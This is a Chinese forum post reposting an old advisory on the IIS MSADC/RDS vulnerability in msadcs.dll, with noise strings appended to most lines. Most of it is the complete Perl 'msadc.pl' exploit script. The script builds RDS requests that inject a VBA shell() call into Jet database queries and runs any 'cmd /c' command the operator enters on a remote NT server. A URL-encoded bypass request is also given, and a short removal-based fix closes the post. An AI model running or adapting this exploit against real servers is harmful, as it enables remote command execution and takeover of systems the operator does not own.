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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) # *)X+*  
m |%ly  
涉及程序: )4CF*>*6V  
Microsoft NT server (sN;B)  
;($"_h  
描述: U%T{~f  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 :o=a@Rqx  
n[tES6u  
详细: 'A)r)z {X  
如果你没有时间读详细内容的话,就删除: 5 4vDP9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll alz2F.%Y  
有关的安全问题就没有了。 A{,ZfX;SPO  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;:#g\|(<+  
}n[<$*W^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Qs1e0LwA9  
关于利用ODBC远程漏洞的描述,请参看: &* 1iW(x  
CF0i72ul5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,d~6LXr<fM  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 KDEcR  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp eR*y<K(d  
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这里不再论述。 .Mz'h 9@  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: f zsD  
p|,3X*-ynx  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -ttH{SslM  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! TF7~eyLg  
qG?svt  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" s?pd&_kOv3  
7,:$, bL  
#!perl :$5$H  
# e3!0<A[X  
# MSADC/RDS 'usage' (aka exploit) script dub %fs  
# 6-!U\R2Z>  
# by rain.forest.puppy u/S{^2`b  
# .]D7Il  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (//f"c]/  
# beta test and find errors! TeXt'G=M  
0oiz V;B5%  
use Socket; use Getopt::Std; 3rh@|fg)E  
getopts("e:vd:h:XR", \%args); _oBJ'8R\  
OD~B2MpM>  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; "B"Yfg[  
B?pNF+?'z  
if (!defined $args{h} && !defined $args{R}) { 8{ooLdpX7  
print qq~ IqrT@jgN-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } E Zh.*u@^r  
-h <host> = host you want to scan (ip or domain) rmh 1.W  
-d <seconds> = delay between calls, default 1 second 2(5<Wj"  
-X = dump Index Server path table, if available I2G:jMPy  
-v = verbose `%oJa`  
-e = external dictionary file for step 5 4k4 d%  
'7;b+Vbl#  
Or a -R will resume a command session " s3eO  
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~; exit;} %S9YjMR@  
vWpoaz/w  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^Pp2T   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _jCk)3KO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <A+n[h  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Tc.k0n%W:b  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} glo Y@k~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } i0/RvrLc  
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if (!defined $args{R}){ $ret = &has_msadc; ).l`N&_peM  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} nEgDwJ<wl  
'"Z\8;5i  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" O~~WP*N  
. "cmd /c "; g+1&liV  
$in=<STDIN>; chomp $in; 9?J 3G,&  
$command="cmd /c " . $in ; %8hjMds  
E 8LA+dKN:  
if (defined $args{R}) {&load; exit;} 6)j4-  
[QZ g=."  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; t]14bf$*Q  
&try_btcustmr; =R6IW,*  
2uZ4$_  
print "\nStep 2: Trying to make our own DSN..."; rU!QXg]uD  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g:rjt1w`D  
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print "\nStep 3: Trying known DSNs..."; 9S_PZH  
&known_dsn; ]9]o*{_+(f  
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print "\nStep 4: Trying known .mdbs..."; Q}6!t$Vk  
&known_mdb; $s.:H4:I  
xP+`scv*m#  
if (defined $args{e}){ )Bw}T  
print "\nStep 5: Trying dictionary of DSN names..."; 19j"Zxdg Y  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3LW_qX  
` G- V %  
print "Sorry Charley...maybe next time?\n"; <N'v-9=2jl  
exit; ?DrA@;IB  
OC=g 1  
############################################################################## #UesXv  
@ Cd#\D|  
sub sendraw { # ripped and modded from whisker bGtS! 'I  
sleep($delay); # it's a DoS on the server! At least on mine... !*G%vOa  
my ($pstr)=@_; {3`cSm6c  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H5!e/4iz  
die("Socket problems\n"); i9koh3R\  
if(connect(S,pack "SnA4x8",2,80,$target)){ f>hA+  
select(S); $|=1; sOqT*gwr:  
print $pstr; my @in=<S>; NpLZ ,|H  
select(STDOUT); close(S); 'zhv#&O  
return @in; L.?QZN%cN  
} else { die("Can't connect...\n"); }} Lvd es.0|  
c]%~X&Tg`  
############################################################################## ko{7^]gR  
~YRG9TK  
sub make_header { # make the HTTP request c:I %jm  
my $msadc=<<EOT Ms 3Sri  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 l=PZlH y1G  
User-Agent: ACTIVEDATA pv]2"|]V)  
Host: $ip lc[)O3,,B  
Content-Length: $clen ,n3e8qd  
Connection: Keep-Alive hN^,'O  
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ADCClientVersion:01.06 Y*/e;mG.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 aqEmF  
 alH6~  
--!ADM!ROX!YOUR!WORLD! 6,cJ3~!48  
Content-Type: application/x-varg 4$+1&+@ ]  
Content-Length: $reqlen \IaUsx"#o{  
= glF6a  
EOT Vbv)C3ezD  
; $msadc=~s/\n/\r\n/g; =Hbf()cN)  
return $msadc;} Ozg,6&3ji  
q ;"/i*+3  
############################################################################## p1UYkmx[  
bae;2| w  
sub make_req { # make the RDS request hVIv->  
my ($switch, $p1, $p2)=@_; wxo*\WLe  
my $req=""; my $t1, $t2, $query, $dsn; yV*jc`1  
I(H9-!&  
if ($switch==1){ # this is the btcustmr.mdb query uJ`:@Z^J  
$query="Select * from Customers where City=" . make_shell(); 0`V;;w8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Ihp Ea,v)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8]mRX~  
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elsif ($switch==2){ # this is general make table query A0,h 7<i  
$query="create table AZZ (B int, C varchar(10))"; V|G*9^Y  
$dsn="$p1";} Re+oCJ  
$R%tD.d3  
elsif ($switch==3){ # this is general exploit table query L*OG2liJ  
$query="select * from AZZ where C=" . make_shell(); $zM \Jd  
$dsn="$p1";} y+p"5s"  
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elsif ($switch==4){ # attempt to hork file info from index server /dO*t4$@?  
$query="select path from scope()"; K~4bT=   
$dsn="Provider=MSIDXS;";} 10Q!-K),p  
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elsif ($switch==5){ # bad query P?^%i  
$query="select"; 7K ~)7U  
$dsn="$p1";} w  _4O;  
;d<O/y,:4  
$t1= make_unicode($query); -<L5;  
$t2= make_unicode($dsn); AZf69z  
$req = "\x02\x00\x03\x00"; 2}XxRJ0   
$req.= "\x08\x00" . pack ("S1", length($t1)); T"t.t%(8  
$req.= "\x00\x00" . $t1 ; Jd~Mq9(  
$req.= "\x08\x00" . pack ("S1", length($t2)); P_5G'[  
$req.= "\x00\x00" . $t2 ; 3?D{iMRM  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; K4 -_a{)/  
return $req;} 3xN_z?Rg  
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############################################################################## Tq SjL{l%  
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sub make_shell { # this makes the shell() statement 6VS_L@  
return "'|shell(\"$command\")|'";} b6xz\zCL  
cY Qm8TR<  
############################################################################## YeVo=hYH@  
~!M"  
sub make_unicode { # quick little function to convert to unicode Ls+vWfF=#  
my ($in)=@_; my $out; @+1AYVz(k  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }u1h6rd `  
return $out;} 0dQ\Y]b  
'v@*xF/L6a  
############################################################################## .4l cES~  
jcjl q-x  
sub rdo_success { # checks for RDO return success (this is kludge) NB5lxaL  
my (@in) = @_; my $base=content_start(@in); r i)`e  
if($in[$base]=~/multipart\/mixed/){ +z0s)HU>j  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} R\Ckk;<$  
return 0;} k)[c!\a[i  
Q,Y^9g"B`~  
############################################################################## 11 k}Ly  
y2mSPLw  
sub make_dsn { # this makes a DSN for us jtq ^((Ux  
my @drives=("c","d","e","f"); aK]AhOG   
print "\nMaking DSN: "; U(Bmffn4Z  
foreach $drive (@drives) { [>U2!4=$M  
print "$drive: "; 2<@g *  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Z$r7Hi  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" :6Tv4ZUvcG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); eKLE^`2*@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 4?+jvVq  
return 0 if $2 eq "404"; # not found/doesn't exist =(Y0wZP|  
if($2 eq "200") { )/Gi-::  
foreach $line (@results) { $pt~?ZZ3-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} :Rnwyj])  
} return 0;} ~w9`l8/0  
xn@oNKD0  
############################################################################## | +uc;[`  
'1fyBU  
sub verify_exists { ~;YkR'q0_  
my ($page)=@_; \zwm:@lG  
my @results=sendraw("GET $page HTTP/1.0\n\n"); rZ)7(0BBs  
return $results[0];} `Q/\w1-Q  
3xKgj5M  
############################################################################## P2 qC[1hYH  
86!$<!I  
sub try_btcustmr { 8J- ?bo  
my @drives=("c","d","e","f"); hy@b/Y![M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O(9*VoD  
(_+ux1h6^  
foreach $dir (@dirs) { g:!R't?  
print "$dir -> "; # fun status so you can see progress sY?wQ:  
foreach $drive (@drives) { GXNkl?#  
print "$drive: "; # ditto JiuA"ks)  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;Bw3@c  
$reqlenlen=length( "$reqlen" ); R~|(]#com  
$clen= 206 + $reqlenlen + $reqlen; e**'[3Y  
+x/vZXtOK  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); wehiX7y  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} # JY>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %$Xt1ub6(  
~*+evAP  
############################################################################## AxF$7J(  
!R#PJH/TM  
sub odbc_error { -V[!qI  
my (@in)=@_; my $base; 4L4u<  
my $base = content_start(@in); }jU)s{>fb  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this OsVz[wN  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; TDWD8??e  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .3@Pz]\M#>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )]<^*b>  
return $in[$base+4].$in[$base+5].$in[$base+6];} qPJSVo  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; %M`zkA2]J  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,S@B[+VZ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $2blF)uYE  
SJ:Teab  
############################################################################## gQ%mVJB{(  
\5=4!Ez  
sub verbose { &%k_BdlkQ  
my ($in)=@_; HCe/!2Y/%  
return if !$verbose; R yM2 9uD  
print STDOUT "\n$in\n";} <1:I[b  
5~(nHCf>  
############################################################################## $(08!U  
9>vB,8  
sub save { "gDk?w  
my ($p1, $p2, $p3, $p4)=@_; aD6!x3c/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; y&\t72C$Fi  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [9Tnp]q  
close OUT;} cf*~G x_l  
lL5*l,)To  
############################################################################## sEZ2DnDI  
Y$j !-l5z  
sub load { 1!E}A!;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; D5].^*AbZ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ycvgF6Me<  
@p=<IN>; close(IN); 6x/o j`_[  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); v;}MHl  
$target= inet_aton($ip) || die("inet_aton problems"); h gwS_L  
print "Resuming to $ip ..."; f'`y-]"V5)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; D`.\c#;cN  
if($p[1]==1) { c|(Q[=   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; M9(lxu y1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; iU=:YPE+ .  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); r&:yZN  
if (rdo_success(@results)){print "Success!\n";} |S]fs9  
else { print "failed\n"; verbose(odbc_error(@results));}} d>r]xXB6  
elsif ($p[1]==3){ 9VIAOky-  
if(run_query("$p[3]")){ ="Az g8W  
print "Success!\n";} else { print "failed\n"; }} (l(d0g&p>  
elsif ($p[1]==4){ kKDf%=  
if(run_query($drvst . "$p[3]")){ r/0AM}[!*j  
print "Success!\n"; } else { print "failed\n"; }} E>2AG3)  
exit;} (hRg0Z=  
{?A/1q4rr  
############################################################################## J@IKXhb7_  
9J<vkxG9`  
sub create_table { B2WPbox  
my ($in)=@_; cA| n*A-j<  
$reqlen=length( make_req(2,$in,"") ) - 28; p6Ia)!xOGF  
$reqlenlen=length( "$reqlen" ); -KG1"g,2  
$clen= 206 + $reqlenlen + $reqlen; A,7* 52U  
my @results=sendraw(make_header() . make_req(2,$in,"")); tZ*>S]qD  
return 1 if rdo_success(@results); +HD2]~{EkL  
my $temp= odbc_error(@results); verbose($temp); r $YEq5  
return 1 if $temp=~/Table 'AZZ' already exists/; N%=,S?b  
return 0;} +vV?[e  
ldRq:M5z  
############################################################################## TIF  =fQ  
"1p, r&}  
sub known_dsn { UA4MtTp`  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 'c >^Aai  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -afNiNiY  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 5 (q4o`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); L/5th}m  
muhu` k`C  
foreach $dSn (@dsns) { ,WAJ& '^  
print "."; lt\Bm<"z!1  
next if (!is_access("DSN=$dSn")); `?d` #) Ck  
if(create_table("DSN=$dSn")){ 3 [O+wVv  
print "$dSn successful\n"; "od 2i\  
if(run_query("DSN=$dSn")){ fEGnI\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ' wp _U /  
print "Something's borked. Use verbose next time\n";}}} print "\n";} e YiqTWn:  
SI=7$8T5=5  
############################################################################## YjPj#57+  
dMI G2log  
sub is_access { \#C]|\  
my ($in)=@_; r =]$>&  
$reqlen=length( make_req(5,$in,"") ) - 28; vSCJ xSt#e  
$reqlenlen=length( "$reqlen" ); /38XaKc{6  
$clen= 206 + $reqlenlen + $reqlen; [<jU$93E  
my @results=sendraw(make_header() . make_req(5,$in,"")); -"x@V7X  
my $temp= odbc_error(@results); 0])[\O`j  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); g?u=n`k]\  
return 0;} L9!\\U  
74c5\UxA  
############################################################################## QM7B FS;  
$Xs`'>,"  
sub run_query { B!4~A{  
my ($in)=@_; z0&Y_Up+5  
$reqlen=length( make_req(3,$in,"") ) - 28; o76{;Bl\O  
$reqlenlen=length( "$reqlen" ); Qn;,OB k  
$clen= 206 + $reqlenlen + $reqlen; +.uQToqy  
my @results=sendraw(make_header() . make_req(3,$in,"")); <2N=cH'  
return 1 if rdo_success(@results); y<l(F?_  
my $temp= odbc_error(@results); verbose($temp); ^3QJv{)Q  
return 0;} s'BlFB n  
lx> ."rW  
############################################################################## c/l^;6O/!\  
%{? 9#))  
sub known_mdb { `(E$-m-~jH  
my @drives=("c","d","e","f","g"); ~{pds  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nW oh(a  
my $dir, $drive, $mdb; :*YnH&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AP ]`'C  
q w @g7  
# this is sparse, because I don't know of many wVc ^l  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mri g5{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", D[Q/:_2l  
"\\system32\\certmdb.mdb", +fQJ#?N2n  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% k:N/-P&+  
7"OJ,Mx%  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h-DHIk3/  
"\\cfusion\\cfapps\\forums\\forums_.mdb", '($$-P\/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", x~](d8*=  
"\\cfusion\\cfapps\\security\\realm_.mdb", ,vAcri 97  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ZX'3qW^D  
"\\cfusion\\database\\cfexamples.mdb", I__ a}|T%  
"\\cfusion\\database\\cfsnippets.mdb", M(n@ytz  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ` }B,w-,io  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", NPDMv |4  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `O`MW} c  
"\\cfusion\\database\\smpolicy.mdb", (O& HCT|  
"\\cfusion\\database\cypress.mdb", yI^7sf7k  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", yet ~  
"\\website\\cgi-win\\dbsample.mdb", DVDzYR**4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", !'B='].  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" X8wtdd]64  
); #these are just .hnq>R\  
foreach $drive (@drives) { /QQjb4S}  
foreach $dir (@dirs){ pF(6M3>IN  
foreach $mdb (@sysmdbs) { 5=R]1YI~$  
print "."; Y~?Z'uR  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ gEw9<Y  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9!.S9[[N  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ unKgOvtj  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ~YByyJG   
} else { print "Something's borked. Use verbose next time\n"; }}}}} amQTPNI  
^x_$%8  
foreach $drive (@drives) { 7 D{%  
foreach $mdb (@mdbs) { h\Q@zR*0a  
print "."; 9'@G7*Yn  
if(create_table($drv . $drive . $dir . $mdb)){ 2\;/mQI2A  
print "\n" . $drive . $dir . $mdb . " successful\n"; NK'@.=$  
if(run_query($drv . $drive . $dir . $mdb)){ 2'-84  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "oyBF CW  
} else { print "Something's borked. Use verbose next time\n"; }}}} zg$ag4%Qgg  
} 6YV"H  
?% A 2  
############################################################################## mkrVeBp  
kt=& mq/B  
sub hork_idx { 1N<n)>X4  
print "\nAttempting to dump Index Server tables...\n"; CxSh.$l  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; oB~V~c}8x  
$reqlen=length( make_req(4,"","") ) - 28; 9hh~u -8L  
$reqlenlen=length( "$reqlen" ); <lLJf8OK  
$clen= 206 + $reqlenlen + $reqlen; $cU7)vmK`  
my @results=sendraw2(make_header() . make_req(4,"","")); *2rc Y  
if (rdo_success(@results)){ ]Qa|9G,b  
my $max=@results; my $c; my %d; ! h92dH  
for($c=19; $c<$max; $c++){ o8v,17 8  
$results[$c]=~s/\x00//g; lJdYR'/Wd  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; d={o|Mf  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1 -C~C]&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; cOZBl;}  
$d{"$1$2"}="";} yqVoedN  
foreach $c (keys %d){ print "$c\n"; } g-1j#V`5  
} else {print "Index server doesn't seem to be installed.\n"; }} /+8VW;4|I  
6> z{xYat  
############################################################################## R/kJUl6HEl  
\ 9iiS(e  
sub dsn_dict { @LSh=o+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); V!>j: "  
while(<IN>){ t\TxK7i  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; P}qpy\/(4  
next if (!is_access("DSN=$dSn")); =p"ma83  
if(create_table("DSN=$dSn")){ y)a)VvU":  
print "$dSn successful\n"; O0s!3hKu  
if(run_query("DSN=$dSn")){ t`R{N1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ek]nLN  
print "Something's borked. Use verbose next time\n";}}} *'-t_F';  
print "\n"; close(IN);} 4>a(!h t  
kytHOn#  
############################################################################## d3S Me  
ezCJq`b  
sub sendraw2 { # ripped and modded from whisker U_ j[<.aN)  
sleep($delay); # it's a DoS on the server! At least on mine... |lg jI!iK  
my ($pstr)=@_; -A=3W3:C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~P"Agpx3u  
die("Socket problems\n"); VX>j2Z'  
if(connect(S,pack "SnA4x8",2,80,$target)){ }P-C-L{yE(  
print "Connected. Getting data"; k_ywwkG9lU  
open(OUT,">raw.out"); my @in; h/5S2EB0!O  
select(S); $|=1; print $pstr; 9 wbQ$>G9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4y?n62N8$  
close(OUT); select(STDOUT); close(S); return @in; jD}h`(bE  
} else { die("Can't connect...\n"); }} tf|;'Nc6  
sR[!6[AA  
############################################################################## RA[%8Rh)  
q=D8 Nz  
sub content_start { # this will take in the server headers '3Q~y"C+4  
my (@in)=@_; my $c; dr+(C[=  
for ($c=1;$c<500;$c++) { >]xW{71F@  
if($in[$c] =~/^\x0d\x0a/){ -2>s#/%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0I<L<^s3^U  
else { return $c+1; }}} 4,Oa(b  
return -1;} # it should never get here actually ,+4T7 UR  
_X mxBtk9f  
############################################################################## l|E4 7@#  
}+G5i_a  
sub funky { #ojuSS3  
my (@in)=@_; my $error=odbc_error(@in); ~cfXEjE6  
if($error=~/ADO could not find the specified provider/){ D7JrGaF{  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; N6\rjYx+7  
exit;} eq(h {*rC  
if($error=~/A Handler is required/){ -,T!/E  
print "\nServer has custom handler filters (they most likely are patched)\n"; xW*Lceb  
exit;} _$5DK%M}  
if($error=~/specified Handler has denied Access/){ [ }Tb2|  
print "\nServer has custom handler filters (they most likely are patched)\n"; doHE]gC2Uz  
exit;}} [fV"tf;  
law$LL  
############################################################################## bhIShk[  
9d-'%Q>+  
sub has_msadc { +xO3<u  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 2IRARZ,3  
my $base=content_start(@results); /|P{t{^WM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); F[yofR N  
return 0;} K: $mEB[c<  
4g8o~JI:v  
######################## u_ l?d  
0XCAnMVo  
njg0MZBqA  
解决方案: -6s:D/t1'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll +hr|$  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 BlU&=;#r5>  
JZ`h+fAt  
拿出来充数 哈哈
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